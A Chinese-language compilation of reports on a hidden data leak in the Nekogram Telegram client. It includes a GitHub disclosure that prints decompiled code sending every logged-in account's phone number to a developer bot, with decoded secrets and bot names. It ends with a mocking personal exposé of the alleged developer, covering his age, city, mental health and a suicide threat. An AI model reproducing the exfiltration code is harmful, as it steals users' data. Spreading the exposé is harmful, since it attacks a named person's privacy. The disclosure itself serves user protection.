Nekogram 暗中向开发者传送您的 Telegram 账户手机号码

来源 : https://t.me/sotaproject/111209

非官方 Telegram 客户端 Nekogram 会将用户账户与其手机号码之间的关联信息传输给开发者。

一位分析了 Nekogram 代码的 IT 专家告诉 Sota,该客户端中存在一个后门:

“该后门隐藏在 Extra.java 文件中,该文件与上传到代码库的模板不同。混淆后的代码会将数据作为内联请求发送给 @nekonotificationbot 机器人,不留任何痕迹。该文件还通过多个机器人实现账户匹配:泄露的数据可能被用于填充这些机器人的数据库。”

此外,如果用户拥有多个账户,开发者还会收到账户之间的关联信息。

Nekogram 客户端的作者据推测是中国公民 方立业,他此前曾因 DDoS 攻击和不道德的网络行为(例如威胁杀害朋友)而臭名昭著。

在客户端的早期版本中,去匿名化仅应用于可能被用于政治监控的中国号码,但现在已应用于所有号码。

需要注意的是,另一个非官方的 Telegram 客户端“Telegram”使用 VK 服务器,这使得国家能够监控通信内容。

Telegram 本身现在也添加了一个选项,用于在用户联系人使用非官方即时通讯客户端时发出警告。

Nekogram 回应 : https://t.me/NekoUpdates/531

如果你的问题是“这是真的吗?”,答案是肯定的,确实有号码被发送给了机器人。但没有任何号码被存储或与任何人共享。

有些人要求“解释”,但你想要什么样的解释呢?它发送了你的电话号码,事情就是这样。

这两个开源情报机器人用于通过搜索ID来查找用户的用户名。我们不与它们合作,也不会填充它们的数据库。

感兴趣的朋友可以查看Extra.java的源代码。

github issues : https://github.com/Nekogram/Nekogram/issues/336

【间谍软件,恶意代码】发布二进制文件中的恶意代码注入和用户数据泄露

重现步骤

  1. 安装并登录您的 Telegram 帐户
  2. 现在你的电话号码属于习近平了……开玩笑啦。致Nekogram创作者

预期行为

不泄露电话号码

实际行为

发布二进制文件中的恶意代码注入和用户数据窃取

通过对通过此存储库分发的官方发布二进制文件*(.APK)* 以及README中的相关链接 (官方 Telegram 频道、网站和 Google Play) 进行逆向工程分析,我发现了一段恶意代码,该代码会在未经用户同意的情况下将用户的敏感数据(电话号码和关联的用户 ID)泄露给第三方 Telegram 机器人*(由应用程序所有者创建)*

注意:公共 GitHub 存储库中 缺少 此数据提取逻辑的源代码,这表明开发人员在发布构建过程中注入了恶意代码。

技术部分

使用任何 Java 反编译器 (我使用的是 JADX), 我们都可以看到发布版本经过了混淆处理。这并非什么大问题,因为 Telegram 的原始主代码是开源的。
在代码仓库中有一个Extra.java.example文件。它用于存储 APP_ID、APP_HASH 和其他应用程序敏感信息。
在发布版本中,该文件与原始源代码有所不同,添加了额外的代码,特别是defpackage.uo5.g() 方法(uo5 这是一个 Extra 类,但名称已被混淆)。

我正在展示一个来自最新版本的6a51ee4af00195cf9180e587a53645ae38f8edc5a4a66c1ba166119e8b1b38e5 Nekogram-12.5.2-6597-arm64-v8a.apk 文件


我修复了一些类、变量和方法名称,结果如下:

/* JADX DEBUG: Don't trust debug lines info. Lines numbers was adjusted: min line is 1 */
public static void g() {
    TLRPC.User currentUser;
    String phoneNumber;
    try {
        if (isFunctionWasCalled) {
            return;
        }
        isFunctionWasCalled = true;
        HashMap mapWithAccounts = new HashMap();
        for (int i2 = 0; i2 < 8; i2++) {
            UserConfig userConfig = UserConfig.getInstance(i2);
            if (userConfig.A() && (currentUser = userConfig.o()) != null && (phoneNumber = currentUser.phoneNumber) != null) {
                mapWithAccounts.put(String.valueOf(currentUser.userId), phoneNumber);
            }
        }
        InlineBotHelper.getInstance(UserConfig.selectedAccount).Query(BotHelper, WS_CONN_HASH + classWithString.DecodeWithEncString(-7227028227871466228L) + BaseRemoteHelper.GSON.toJson(mapWithAccounts), new Utilities.b() { // from class: pi6
            /* JADX DEBUG: Don't trust debug lines info. Lines numbers was adjusted: min line is 1 */
            @Override // org.telegram.messenger.Utilities.b
            public final void a(Object obj, Object obj2) {
                qi6.a((ArrayList) obj, (String) obj2);
            }
        });
    } catch (Exception unused) {
    }
}

我们可以看到:代码会遍历客户端登录的所有 Telegram 账号(最多 8 个账号),并构建一个 UserID → PhoneNumber 的 JSON 映射。
收集到的数据会以内联查询的形式发送给机器人处理程序。之所以使用这种方法,是因为它是静默的,不会出现在用户的聊天记录中。无需启动机器人即可使用。

  • 目标机器人@nekonotificationbot (ID 1190800416
  • 密钥741ad28818eab17668bc2c70bd419fc25ff56481758a4ac87e7ca164fb6ae1b1
  • 方法InlineBotHelper.Query(...)

最终提取出的字符串如下所示:
741ad2...ae1b1{"123456789": "+79001234567", ...}

DecodeWithEncString 此外,我们还多次使用自定义解密工具(由混淆代码重写),可以揭示以下隐藏常量:

ID Decrypted Value Context
-7227028090432512756 873ffaceba76e****4a3cdb49 APP_HASH
-7227027407532712692 55***06 APP_ID
-7227026067502916340 nekonotificationbot Main Exfiltration Bot
-7227026153402262260 tgdb_search_bot Mentioned OSINT Bot
-7227025642301154036 usinfobot Mentioned OSINT Bot
-7227027729655259892 741ad2…ae1b1 Shared Secret / Hash

g() 函数何时被调用?


图像
图像 图像

一些视频证据和概念验证脚本(谢谢)@RomashkaTea

由于 Google Play 版本也包含此恶意代码,因此务必举报,以便 Play Protect 可以标记并禁用所有用户设备上的应用。(谢谢)@RomashkaTea(用于确认)
Report a Policy Violation - Play Console Help - 应用下架页面
https://play.google.com/store/apps/details?id=tw.nekomimi.nekogram - Play 商店中的应用,您也可以在此处举报

如有任何意见,请提及此问题。

结论

Nekogram 客户端会在后台静默上传用户的私人数据(电话号码及其关联的用户 ID)@nekonotificationbot 。此行为经过高度混淆处理,并在应用程序正常运行期间自动触发。

网站分析@thebadinteger

致谢

https://t.me/pvxblog/3746
https://t.me/sotaproject/111209

https://t.me/pvxblog/3746?comment=397889
https://t.me/NekoChat/619146 - claude 代码 aahhh 攻略
https://t.me/pvxblog/3746?comment=397816(用于反混淆隐藏常量的代码)
https://t.me/NekoChat - Nekogram 聊天

Nekogram 版本

12.5.2 版本,可能旧版本的二进制文件也受到影响。

安卓版本

任何

reddit 大鸣大放 : https://www.reddit.com/r/Android/comments/1sb3h81

用户的电话号码和用户名通过隐蔽的注入代码发送到开发者所拥有的Telegram机器人,这段代码并不在提供的GitHub源代码中。带有恶意代码的打包APK通过Play商店、GitHub Releases和他们的Telegram频道进行分发。

开发者在Telegram频道中承认了这一点,解释是“就是看起来那样”和“我不存储或与任何人分享数据”。

更奇怪的是,几年前在F-Droid论坛上有一个关于开发者对他们的仓库中提出的隐私问题的行为(他们会删除这些问题)的线程 。尽管如此,他们仍然是最被推荐的第三方Telegram客户端之一。

猫耳逆变器的奇妙灵堂 , 我谔谔,,: https://t.me/s/fangliyeesu?before=10

方立业先生 13 岁那年,自己学着建网站,成为了一个脚本小子,认识了一些年纪相仿的建网站的朋友,但是方先生不怀好意,和人谈不来,就 DDoS 别人的网站。因此,方立业先生第一次率先被开盒(在那个年代还叫出道)

之后呢,由于被出道,方立业先生耿耿于怀,扬言自己要自杀,还和人一一道别。在当时,方立业先生还有一些朋友,朋友们非常担心他的精神状态,立刻利用方立业的户籍信息中的申必号码和家庭住址联系了武汉当地的警察进行自杀干预。

然而,当武汉黑皮凌晨三点上门询问的时候,方立业先生却正在昏睡,原来他是假自杀博取同情

结果,因为被黑皮上门,方立业先生怀恨在心,耿耿于怀,背刺了那些真心关心他的朋友。所以很快他就一个朋友都没有了。

方立业先生后来学会了一点点 Java / Kotlin,于是开始涉及 Android 开发。

方立业先生利用 EdXposed Magisk 框架的每一条 PR 都会发布每夜版,故意提交了一个恶意 PR,删除用户的 data 分区。好心参与 EdXposed 每夜版测试的用户数据纷纷被清空。

Android 玩机圈子的人怒火中烧,于是方立业先生被二次出道

之后,方立业先生精神状态逐渐崩溃,曾经宣称要与一名 MtF(是名小药娘)殉情。起因是他向小药娘告白被拒绝,他很痛苦,要病娇一般杀了小药娘然后自鲨。但是由于方立业先生懦弱怕死,敢说不敢做,并没有付诸实践的勇气

方立业先生在 hippo 终止了 EhViewer 的开发以后,自行 Fork 一个分支进行维护(也就是白 E)添加了一些 SNI 前置和 DoH 对抗 DNS 污染的功能来吸引用户,甚至因为滥用了清华大学校内的 DNS over HTTPS,最后演变成了一起「清华大学 TUNA 协会控制了全国六百万网友的牛子」的爆笑事件。

但是,有很多用户发现,自己的账号在使用白 E 以后,Ex 权限纷纷被收回,更有甚者,账号被 EH 站长送上月球(指被封禁 1000 年)

其中两名用户发邮件询问菠萝原因,得到的回复都是「账号共享」,然而他们都没有分享过自己的 账号密码 / Cookie 给别人,纯粹自用,也不经常参与论坛发言和活动。

当然,方立业先生的故事到白 E 这里,并没有结束。

方立业先生当初还接管了一个 Telegram 第三方客户端 Nekogram 的开发。

Windows 10 上有一个 UWP 版的第三方 Telegram 客户端,有一些独家功能,是 Telegram 特批的。
方立业先生为了能让自己的 Nekogram 使用这些独家功能,偷窃 Unigram 的 APP ID 和 API Key。这一行为最后被 Unigram 和 Telegram 发现,Unigram 对此强烈谴责,Nekogram 自己的 APP ID 和 APP Key 也被 Telegram 收回。

在接下来的一年里,方立业先生的精神状态持续恶化。直到最后,他利用 NekogramX 客户端中内置的 FCM 消息推送功能(本来用于推送 Telegram 通知),给所有 NekogramX 用户大量推送他的疯言疯语。

NekogramX 的用户不堪其扰,或是以为自己的 TG 被入侵,或怀疑这个客户端有后门、方立业先生可能故计重施破坏他们的手机,最终纷纷放弃使用这个客户端

甚至连累了 Nekogram 的一个分支、一个和 Nekogram 分家、已经和方立业完全脱离关系的开发者的客户端 NekoX,毁掉了 NekoX 的名声。

虽然方立业先生后来改名换姓,请求大家的原谅,至于他的精神状态如何,是否只是回光返照,我们暂且拭目以待

这就是方立业先生过去 6 年来的所作所为,这就是他如何在 6 年里连续得罪了个人站长圈,Android 玩机圈,和整个 Telegram 中文圈的故事,这就是他如何在 6 年里连续被出道超过 3 次的故事

方立业先生出生于 03 年,13 岁开始当脚本小子以来,今年已经 19 岁了

以后还有人问猫耳逆变器是谁,就可以给他讲这个故事

Telegram: Contact @NekoInvertor 频道 (已被封锁) 2022 年 6 月 5 日发布。